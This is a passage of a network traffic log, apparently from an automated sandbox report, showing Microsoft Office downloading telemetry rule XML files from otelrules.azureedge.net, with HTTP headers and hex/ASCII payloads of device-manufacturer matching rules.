2024-11-20 06:48:56 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.4	49764	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:48:56 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:48:56 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:48:56 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: ac6669be-e01e-003c-668c-3ac70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064856Z-185f5d8b95crwqd8hC1NYCps6800000009y000000000312f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:48:56 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.4	49767	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:48:56 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:48:56 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:48:56 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: e579fe48-a01e-001e-648c-3a49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064856Z-185f5d8b95csd4bwhC1NYCq7dc00000009r000000000hruf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:48:56 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.4	49768	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:48:56 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:48:57 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:48:56 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 3126d9de-f01e-0099-4d8c-3a9171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064856Z-185f5d8b95csd4bwhC1NYCq7dc00000009r000000000hrv3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:48:57 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.4	49769	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:48:56 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:48:57 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:48:57 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: bfe6cc7a-201e-006e-7e8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064857Z-1777c6cb754lv4cqhC1TEB13us000000095000000000fpq7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:48:57 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.4	49771	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:48:56 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:48:57 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:48:56 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 70a275ef-201e-0051-048c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064856Z-185f5d8b95cjbkr4hC1NYCeu2400000009s0000000006h26 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:48:57 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.4	49772	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:48:56 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:48:57 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:48:57 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 7f65a9a1-801e-0067-788c-3afe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064857Z-r1d97b99577jlrkbhC1TEBq8d000000008c00000000090s5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:48:57 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.4	49770	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:48:56 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:48:57 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:48:57 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 1e988f1d-b01e-0070-1b8c-3a1cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064857Z-r1d97b99577lxltfhC1TEByw2s00000008eg00000000f2sz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:48:57 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.4	49774	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:48:57 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:48:57 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:48:57 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: eb1ded04-b01e-0097-298c-3a4f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064857Z-1777c6cb754ww792hC1TEBzqu4000000090000000000g130 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:48:57 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	49773	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:48:57 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:48:57 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:48:57 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 79148a84-101e-0017-578c-3a47c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064857Z-1777c6cb754xlpjshC1TEBv8cc000000099g00000000hqhx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:48:57 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	49775	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:48:57 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:48:57 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:48:57 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: bdf962e5-c01e-0066-1b8c-3aa1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064857Z-1777c6cb754gc8g6hC1TEB966c000000094000000000m1ge x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:48:57 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	49776	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:48:57 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:48:58 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:48:57 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: a1d80e42-301e-0096-338c-3ae71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064857Z-r1d97b99577d6qrbhC1TEBux5s00000008g000000000mwcy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:48:58 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	49777	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:48:57 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
